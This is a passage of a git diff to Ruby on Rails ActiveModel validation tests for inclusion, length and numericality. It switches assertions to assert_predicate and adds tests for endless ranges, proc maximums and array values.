-    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, less_than: 0)
+    person.class.validates_numericality_of :title, options_to_merge.merge(only_integer: true, less_than: 0)
     person.title = 1
   end
 
   def test_validations_with_message_symbol_must_translate
     I18n.backend.store_translations "en", errors: { messages: { custom_error: "I am a custom error" } }
-    Person.validates_presence_of :title, message: :custom_error
+    person_class.validates_presence_of :title, message: :custom_error
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
@@ -319,7 +467,7 @@ def test_validations_with_message_symbol_must_translate
 
   def test_validates_with_message_symbol_must_translate_per_attribute
     I18n.backend.store_translations "en", activemodel: { errors: { models: { person: { attributes: { title: { custom_error: "I am a custom error" } } } } } }
-    Person.validates_presence_of :title, message: :custom_error
+    person_class.validates_presence_of :title, message: :custom_error
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
@@ -327,16 +475,20 @@ def test_validates_with_message_symbol_must_translate_per_attribute
 
   def test_validates_with_message_symbol_must_translate_per_model
     I18n.backend.store_translations "en", activemodel: { errors: { models: { person: { custom_error: "I am a custom error" } } } }
-    Person.validates_presence_of :title, message: :custom_error
+    person_class.validates_presence_of :title, message: :custom_error
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
   end
 
   def test_validates_with_message_string
-    Person.validates_presence_of :title, message: "I am a custom error"
+    person_class.validates_presence_of :title, message: "I am a custom error"
     @person.title = nil
     @person.valid?
     assert_equal ["I am a custom error"], @person.errors[:title]
   end
+
+  def person_class
+    @person_stub ||= self.class.const_set(:Person, Class.new(Person))
+  end
 end
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
index 5aa43ea4a90e1..6126392b2bced 100644
--- a/activemodel/test/cases/validations/inclusion_validation_test.rb
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "cases/helper"
-require "active_support/all"
 
 require "models/topic"
 require "models/person"
@@ -11,61 +12,81 @@ def teardown
 
   def test_validates_inclusion_of_range
     Topic.validates_inclusion_of(:title, in: "aaa".."bbb")
-    assert Topic.new("title" => "bbc", "content" => "abc").invalid?
-    assert Topic.new("title" => "aa", "content" => "abc").invalid?
-    assert Topic.new("title" => "aaab", "content" => "abc").invalid?
-    assert Topic.new("title" => "aaa", "content" => "abc").valid?
-    assert Topic.new("title" => "abc", "content" => "abc").valid?
-    assert Topic.new("title" => "bbb", "content" => "abc").valid?
+    assert_predicate Topic.new("title" => "bbc", "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => "aa", "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => "aaab", "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => "aaa", "content" => "abc"), :valid?
+    assert_predicate Topic.new("title" => "abc", "content" => "abc"), :valid?
+    assert_predicate Topic.new("title" => "bbb", "content" => "abc"), :valid?
   end
 
   def test_validates_inclusion_of_time_range
     range_begin = 1.year.ago
     range_end = Time.now
     Topic.validates_inclusion_of(:created_at, in: range_begin..range_end)
-    assert Topic.new(title: "aaa", created_at: 2.years.ago).invalid?
-    assert Topic.new(title: "aaa", created_at: 3.months.ago).valid?
-    assert Topic.new(title: "aaa", created_at: 37.weeks.from_now).invalid?
-    assert Topic.new(title: "aaa", created_at: range_begin).valid?
-    assert Topic.new(title: "aaa", created_at: range_end).valid?
+    assert_predicate Topic.new(title: "aaa", created_at: 2.years.ago), :invalid?
+    assert_predicate Topic.new(title: "aaa", created_at: 3.months.ago), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: 37.weeks.from_now), :invalid?
+    assert_predicate Topic.new(title: "aaa", created_at: range_begin), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: range_end), :valid?
   end
 
   def test_validates_inclusion_of_date_range
     range_begin = 1.year.until(Date.today)
     range_end = Date.today
     Topic.validates_inclusion_of(:created_at, in: range_begin..range_end)
-    assert Topic.new(title: "aaa", created_at: 2.years.until(Date.today)).invalid?
-    assert Topic.new(title: "aaa", created_at: 3.months.until(Date.today)).valid?
-    assert Topic.new(title: "aaa", created_at: 37.weeks.since(Date.today)).invalid?
-    assert Topic.new(title: "aaa", created_at: 1.year.until(Date.today)).valid?
-    assert Topic.new(title: "aaa", created_at: Date.today).valid?
-    assert Topic.new(title: "aaa", created_at: range_begin).valid?
-    assert Topic.new(title: "aaa", created_at: range_end).valid?
+    assert_predicate Topic.new(title: "aaa", created_at: 2.years.until(Date.today)), :invalid?
+    assert_predicate Topic.new(title: "aaa", created_at: 3.months.until(Date.today)), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: 37.weeks.since(Date.today)), :invalid?
+    assert_predicate Topic.new(title: "aaa", created_at: 1.year.until(Date.today)), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: Date.today), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: range_begin), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: range_end), :valid?
   end
 
   def test_validates_inclusion_of_date_time_range
     range_begin = 1.year.until(DateTime.current)
     range_end = DateTime.current
     Topic.validates_inclusion_of(:created_at, in: range_begin..range_end)
-    assert Topic.new(title: "aaa", created_at: 2.years.until(DateTime.current)).invalid?
-    assert Topic.new(title: "aaa", created_at: 3.months.until(DateTime.current)).valid?
-    assert Topic.new(title: "aaa", created_at: 37.weeks.since(DateTime.current)).invalid?
-    assert Topic.new(title: "aaa", created_at: range_begin).valid?
-    assert Topic.new(title: "aaa", created_at: range_end).valid?
+    assert_predicate Topic.new(title: "aaa", created_at: 2.years.until(DateTime.current)), :invalid?
+    assert_predicate Topic.new(title: "aaa", created_at: 3.months.until(DateTime.current)), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: 37.weeks.since(DateTime.current)), :invalid?
+    assert_predicate Topic.new(title: "aaa", created_at: range_begin), :valid?
+    assert_predicate Topic.new(title: "aaa", created_at: range_end), :valid?
+  end
+
+  def test_validates_inclusion_of_beginless_numeric_range
+    range_end = 1000
+    Topic.validates_inclusion_of(:raw_price, in: ..range_end)
+    assert_predicate Topic.new(title: "aaa", price: -100), :valid?
+    assert_predicate Topic.new(title: "aaa", price: 0), :valid?
+    assert_predicate Topic.new(title: "aaa", price: 100), :valid?
+    assert_predicate Topic.new(title: "aaa", price: 2000), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: range_end), :valid?
+  end
+
+  def test_validates_inclusion_of_endless_numeric_range
+    range_begin = 0
+    Topic.validates_inclusion_of(:raw_price, in: range_begin..)
+    assert_predicate Topic.new(title: "aaa", price: -1), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: -100), :invalid?
+    assert_predicate Topic.new(title: "aaa", price: 100), :valid?
+    assert_predicate Topic.new(title: "aaa", price: 2000), :valid?
+    assert_predicate Topic.new(title: "aaa", price: range_begin), :valid?
   end
 
   def test_validates_inclusion_of
     Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ))
 
-    assert Topic.new("title" => "a!", "content" => "abc").invalid?
-    assert Topic.new("title" => "a b", "content" => "abc").invalid?
-    assert Topic.new("title" => nil, "content" => "def").invalid?
+    assert_predicate Topic.new("title" => "a!", "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => "a b", "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => nil, "content" => "def"), :invalid?
 
     t = Topic.new("title" => "a", "content" => "I know you are but what am I?")
-    assert t.valid?
+    assert_predicate t, :valid?
     t.title = "uhoh"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is not included in the list"], t.errors[:title]
 
     assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: nil) }
@@ -79,30 +100,30 @@ def test_validates_inclusion_of
   def test_validates_inclusion_of_with_allow_nil
     Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), allow_nil: true)
 
-    assert Topic.new("title" => "a!", "content" => "abc").invalid?
-    assert Topic.new("title" => "",   "content" => "abc").invalid?
-    assert Topic.new("title" => nil,  "content" => "abc").valid?
+    assert_predicate Topic.new("title" => "a!", "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => "",   "content" => "abc"), :invalid?
+    assert_predicate Topic.new("title" => nil,  "content" => "abc"), :valid?
   end
 
   def test_validates_inclusion_of_with_formatted_message
     Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), message: "option %{value} is not in the list")
 
-    assert Topic.new("title" => "a", "content" => "abc").valid?
+    assert_predicate Topic.new("title" => "a", "content" => "abc"), :valid?
 
     t = Topic.new("title" => "uhoh", "content" => "abc")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["option uhoh is not in the list"], t.errors[:title]
   end
 
   def test_validates_inclusion_of_with_within_option
     Topic.validates_inclusion_of(:title, within: %w( a b c d e f g ))
 
-    assert Topic.new("title" => "a", "content" => "abc").valid?
+    assert_predicate Topic.new("title" => "a", "content" => "abc"), :valid?
 
     t = Topic.new("title" => "uhoh", "content" => "abc")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
   end
 
   def test_validates_inclusion_of_for_ruby_class
@@ -110,12 +131,12 @@ def test_validates_inclusion_of_for_ruby_class
 
     p = Person.new
     p.karma = "Lifo"
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["is not included in the list"], p.errors[:karma]
 
     p.karma = "monkey"
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
@@ -126,10 +147,21 @@ def test_validates_inclusion_of_with_lambda
     t = Topic.new
     t.title = "wasabi"
     t.author_name = "sikachu"
-    assert t.invalid?
+    assert_predicate t, :invalid?
+
+    t.title = "elephant"
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_inclusion_of_with_lambda_without_arguments
+    Topic.validates_inclusion_of :title, in: lambda { %w( monkey elephant ) }
+
+    t = Topic.new
+    t.title = "wasabi"
+    assert_predicate t, :invalid?
 
     t.title = "elephant"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_inclusion_of_with_symbol
@@ -142,7 +174,7 @@ def p.available_karmas
       %w()
     end
 
-    assert p.invalid?
+    assert_predicate p, :invalid?
     assert_equal ["is not included in the list"], p.errors[:karma]
 
     p = Person.new
@@ -152,7 +184,24 @@ def p.available_karmas
       %w(Lifo)
     end
 
-    assert p.valid?
+    assert_predicate p, :valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_validates_inclusion_of_with_array_value
+    Person.validates_inclusion_of :karma, in: %w( abe monkey )
+
+    p = Person.new
+    p.karma = %w(Lifo monkey)
+
+    assert_predicate p, :invalid?
+    assert_equal ["is not included in the list"], p.errors[:karma]
+
+    p = Person.new
+    p.karma = %w(abe monkey)
+
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
index 95ee87b4014d2..f8ceba71945af 100644
--- a/activemodel/test/cases/validations/length_validation_test.rb
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -11,153 +13,178 @@ def teardown
   def test_validates_length_of_with_allow_nil
     Topic.validates_length_of(:title, is: 5, allow_nil: true)
 
-    assert Topic.new("title" => "ab").invalid?
-    assert Topic.new("title" => "").invalid?
-    assert Topic.new("title" => nil).valid?
-    assert Topic.new("title" => "abcde").valid?
+    assert_predicate Topic.new("title" => "ab"), :invalid?
+    assert_predicate Topic.new("title" => ""), :invalid?
+    assert_predicate Topic.new("title" => nil), :valid?
+    assert_predicate Topic.new("title" => "abcde"), :valid?
   end
 
   def test_validates_length_of_with_allow_blank
     Topic.validates_length_of(:title, is: 5, allow_blank: true)
 
-    assert Topic.new("title" => "ab").invalid?
-    assert Topic.new("title" => "").valid?
-    assert Topic.new("title" => nil).valid?
-    assert Topic.new("title" => "abcde").valid?
+    assert_predicate Topic.new("title" => "ab"), :invalid?
+    assert_predicate Topic.new("title" => ""), :valid?
+    assert_predicate Topic.new("title" => nil), :valid?
+    assert_predicate Topic.new("title" => "abcde"), :valid?
   end
 
   def test_validates_length_of_using_minimum
     Topic.validates_length_of :title, minimum: 5
 
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "not"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is too short (minimum is 5 characters)"], t.errors[:title]
 
     t.title = ""
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is too short (minimum is 5 characters)"], t.errors[:title]
 
     t.title = nil
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
   end
 
   def test_validates_length_of_using_maximum_should_allow_nil
     Topic.validates_length_of :title, maximum: 10
     t = Topic.new
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_optionally_validates_length_of_using_minimum
     Topic.validates_length_of :title, minimum: 5, allow_nil: true
 
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = nil
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_maximum
     Topic.validates_length_of :title, maximum: 5
 
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "notvalid"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
 
     t.title = ""
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_optionally_validates_length_of_using_maximum
     Topic.validates_length_of :title, maximum: 5, allow_nil: true
 
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = nil
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_within
     Topic.validates_length_of(:title, :content, within: 3..5)
 
     t = Topic.new("title" => "a!", "content" => "I'm ooooooooh so very long")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
     assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
 
     t.title = nil
     t.content = nil
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
     assert_equal ["is too short (minimum is 3 characters)"], t.errors[:content]
 
     t.title = "abe"
     t.content = "mad"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_within_with_exclusive_range
     Topic.validates_length_of(:title, within: 4...10)
 
     t = Topic.new("title" => "9 chars!!")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "Now I'm 10"
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["is too long (maximum is 9 characters)"], t.errors[:title]
 
     t.title = "Four"
-    assert t.valid?
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_length_of_using_within_with_infinite_ranges
+    [
+      [-Float::INFINITY..10, 11],
+      [-Float::INFINITY...11, 11],
+      [-Float::INFINITY.., nil],
+      [10..Float::INFINITY, 9],
+      [10...Float::INFINITY, 9],
+      [10.., 9],
+      [..10, 11],
+      [...11, 11],
+      [-Float::INFINITY..Float::INFINITY, nil],
+    ].each do |range, invalid_length|
+      Topic.clear_validators!
+      Topic.validates_length_of(:title, within: range)
+
+      t = Topic.new("title" => "a" * 10)
+      assert_predicate t, :valid?
+
+      if invalid_length
+        t.title = "a" * invalid_length
+        assert_predicate t, :invalid?
+      end
+    end
   end
 
   def test_optionally_validates_length_of_using_within
     Topic.validates_length_of :title, :content, within: 3..5, allow_nil: true
 
     t = Topic.new("title" => "abc", "content" => "abcd")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = nil
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_is
     Topic.validates_length_of :title, is: 5
 
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "notvalid"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is the wrong length (should be 5 characters)"], t.errors[:title]
 
     t.title = ""
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title = nil
-    assert t.invalid?
+    assert_predicate t, :invalid?
   end
 
   def test_optionally_validates_length_of_using_is
     Topic.validates_length_of :title, is: 5, allow_nil: true
 
     t = Topic.new("title" => "valid", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = nil
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_bignum
@@ -185,45 +212,45 @@ def test_validates_length_of_nasty_params
   def test_validates_length_of_custom_errors_for_minimum_with_message
     Topic.validates_length_of(:title, minimum: 5, message: "boo %{count}")
     t = Topic.new("title" => "uhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["boo 5"], t.errors[:title]
   end
 
   def test_validates_length_of_custom_errors_for_minimum_with_too_short
     Topic.validates_length_of(:title, minimum: 5, too_short: "hoo %{count}")
     t = Topic.new("title" => "uhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors[:title]
   end
 
   def test_validates_length_of_custom_errors_for_maximum_with_message
     Topic.validates_length_of(:title, maximum: 5, message: "boo %{count}")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["boo 5"], t.errors[:title]
   end
 
   def test_validates_length_of_custom_errors_for_in
     Topic.validates_length_of(:title, in: 10..20, message: "hoo %{count}")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 10"], t.errors["title"]
 
     t = Topic.new("title" => "uhohuhohuhohuhohuhohuhohuhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 20"], t.errors["title"]
   end
 
   def test_validates_length_of_custom_errors_for_maximum_with_too_long
     Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors["title"]
   end
 
@@ -231,29 +258,29 @@ def test_validates_length_of_custom_errors_for_both_too_short_and_too_long
     Topic.validates_length_of :title, minimum: 3, maximum: 5, too_short: "too short", too_long: "too long"
 
     t = Topic.new(title: "a")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["too short"], t.errors["title"]
 
     t = Topic.new(title: "aaaaaa")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["too long"], t.errors["title"]
   end
 
   def test_validates_length_of_custom_errors_for_is_with_message
     Topic.validates_length_of(:title, is: 5, message: "boo %{count}")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["boo 5"], t.errors["title"]
   end
 
   def test_validates_length_of_custom_errors_for_is_with_wrong_length
     Topic.validates_length_of(:title, is: 5, wrong_length: "hoo %{count}")
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["hoo 5"], t.errors["title"]
   end
 
@@ -261,11 +288,11 @@ def test_validates_length_of_using_minimum_utf8
     Topic.validates_length_of :title, minimum: 5
 
     t = Topic.new("title" => "一二三四五", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "一二三四"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
   end
 
@@ -273,11 +300,11 @@ def test_validates_length_of_using_maximum_utf8
     Topic.validates_length_of :title, maximum: 5
 
     t = Topic.new("title" => "一二三四五", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "一二34五六"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is too long (maximum is 5 characters)"], t.errors["title"]
   end
 
@@ -285,36 +312,36 @@ def test_validates_length_of_using_within_utf8
     Topic.validates_length_of(:title, :content, within: 3..5)
 
     t = Topic.new("title" => "一二", "content" => "12三四五六七")
-    assert t.invalid?
+    assert_predicate t, :invalid?
     assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
     assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
     t.title = "一二三"
     t.content = "12三"
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_optionally_validates_length_of_using_within_utf8
     Topic.validates_length_of :title, within: 3..5, allow_nil: true
 
     t = Topic.new(title: "一二三四五")
-    assert t.valid?, t.errors.inspect
+    assert_predicate t, :valid?
 
     t = Topic.new(title: "一二三")
-    assert t.valid?, t.errors.inspect
+    assert_predicate t, :valid?
 
     t.title = nil
-    assert t.valid?, t.errors.inspect
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_is_utf8
     Topic.validates_length_of :title, is: 5
 
     t = Topic.new("title" => "一二345", "content" => "whatever")
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.title = "一二345六"
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
     assert_equal ["is the wrong length (should be 5 characters)"], t.errors["title"]
   end
 
@@ -322,11 +349,11 @@ def test_validates_length_of_for_integer
     Topic.validates_length_of(:approved, is: 4)
 
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1)
-    assert t.invalid?
-    assert t.errors[:approved].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:approved], :any?
 
     t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1234)
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_for_ruby_class
@@ -334,12 +361,12 @@ def test_validates_length_of_for_ruby_class
 
     p = Person.new
     p.karma = "Pix"
-    assert p.invalid?
+    assert_predicate p, :invalid?
 
     assert_equal ["is too short (minimum is 5 characters)"], p.errors[:karma]
 
     p.karma = "The Smiths"
-    assert p.valid?
+    assert_predicate p, :valid?
   ensure
     Person.clear_validators!
   end
@@ -348,64 +375,125 @@ def test_validates_length_of_for_infinite_maxima
     Topic.validates_length_of(:title, within: 5..Float::INFINITY)
 
     t = Topic.new("title" => "1234")
-    assert t.invalid?
-    assert t.errors[:title].any?
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
 
     t.title = "12345"
-    assert t.valid?
+    assert_predicate t, :valid?
 
     Topic.validates_length_of(:author_name, maximum: Float::INFINITY)
 
-    assert t.valid?
+    assert_predicate t, :valid?
 
     t.author_name = "A very long author name that should still be valid." * 100
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_maximum_should_not_allow_nil_when_nil_not_allowed
     Topic.validates_length_of :title, maximum: 10, allow_nil: false
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
   end
 
   def test_validates_length_of_using_maximum_should_not_allow_nil_and_empty_string_when_blank_not_allowed
     Topic.validates_length_of :title, maximum: 10, allow_blank: false
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title = ""
-    assert t.invalid?
+    assert_predicate t, :invalid?
   end
 
   def test_validates_length_of_using_both_minimum_and_maximum_should_not_allow_nil
     Topic.validates_length_of :title, minimum: 5, maximum: 10
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
   end
 
   def test_validates_length_of_using_minimum_0_should_not_allow_nil
     Topic.validates_length_of :title, minimum: 0
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title = ""
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_length_of_using_is_0_should_not_allow_nil
     Topic.validates_length_of :title, is: 0
     t = Topic.new
-    assert t.invalid?
+    assert_predicate t, :invalid?
 
     t.title = ""
-    assert t.valid?
+    assert_predicate t, :valid?
   end
 
   def test_validates_with_diff_in_option
     Topic.validates_length_of(:title, is: 5)
     Topic.validates_length_of(:title, is: 5, if: Proc.new { false })
 
-    assert Topic.new("title" => "david").valid?
-    assert Topic.new("title" => "david2").invalid?
+    assert_predicate Topic.new("title" => "david"), :valid?
+    assert_predicate Topic.new("title" => "david2"), :invalid?
+  end
+
+  def test_validates_length_of_using_symbol_as_maximum
+    Topic.validates_length_of :title, maximum: :five
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert_predicate t, :valid?
+
+    t.title = "notvalid"
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_length_of_using_proc_as_maximum
+    Topic.validates_length_of :title, maximum: ->(model) { 5 }
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert_predicate t, :valid?
+
+    t.title = "notvalid"
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_length_of_using_proc_as_maximum_with_model_method
+    Topic.define_method(:max_title_length) { 5 }
+    Topic.validates_length_of :title, maximum: Proc.new(&:max_title_length)
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert_predicate t, :valid?
+
+    t.title = "notvalid"
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert_predicate t, :valid?
+  end
+
+  def test_validates_length_of_using_lambda_as_maximum
+    Topic.validates_length_of :title, maximum: -> { 5 }
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert_predicate t, :valid?
+
+    t.title = "notvalid"
+    assert_predicate t, :invalid?
+    assert_predicate t.errors[:title], :any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert_predicate t, :valid?
   end
 end
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
index a1be2de5785b7..73abf96c94ddf 100644
--- a/activemodel/test/cases/validations/numericality_validation_test.rb
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 require "models/topic"
@@ -5,6 +7,7 @@
 
 require "bigdecimal"
 require "active_support/core_ext/big_decimal"
+require "active_support/core_ext/object/inclusion"
 
 class NumericalityValidationTest < ActiveModel::TestCase
   def teardown
@@ -16,232 +19,269 @@ def teardown
   BIGDECIMAL_STRINGS = %w(12345678901234567890.1234567890) # 30 significant digits
   FLOAT_STRINGS = %w(0.0 +0.0 -0.0 10.0 10.5 -10.5 -0.0001 -090.1 90.1e1 -90.1e5 -90.1e-5 90e-5)
   INTEGER_STRINGS = %w(0 +0 -0 10 +10 -10 0090 -090)
-  FLOATS = [0.0, 10.0, 10.5, -10.5, -0.0001] + FLOAT_STRINGS
-  INTEGERS = [0, 10, -10] + INTEGER_STRINGS
-  BIGDECIMAL = BIGDECIMAL_STRINGS.collect! { |bd| BigDecimal.new(bd) }
-  JUNK = ["not a number", "42 not a number", "0xdeadbeef", "0xinvalidhex", "0Xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
+  NUMERIC_FLOATS = [0.0, 10.0, 10.5, -10.5, -0.0001]
+  NUMERIC_INTEGERS = [0, 10, -10]
+  FLOATS = NUMERIC_FLOATS + FLOAT_STRINGS
+  INTEGERS = NUMERIC_INTEGERS + INTEGER_STRINGS
+  BIGDECIMAL = BIGDECIMAL_STRINGS.collect! { |bd| BigDecimal(bd) }
+  JUNK = ["not a number", "42 not a number", "0xdeadbeef", "-0xdeadbeef", "+0xdeadbeef", "0xinvalidhex", "0Xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
   INFINITY = [1.0 / 0.0]
 
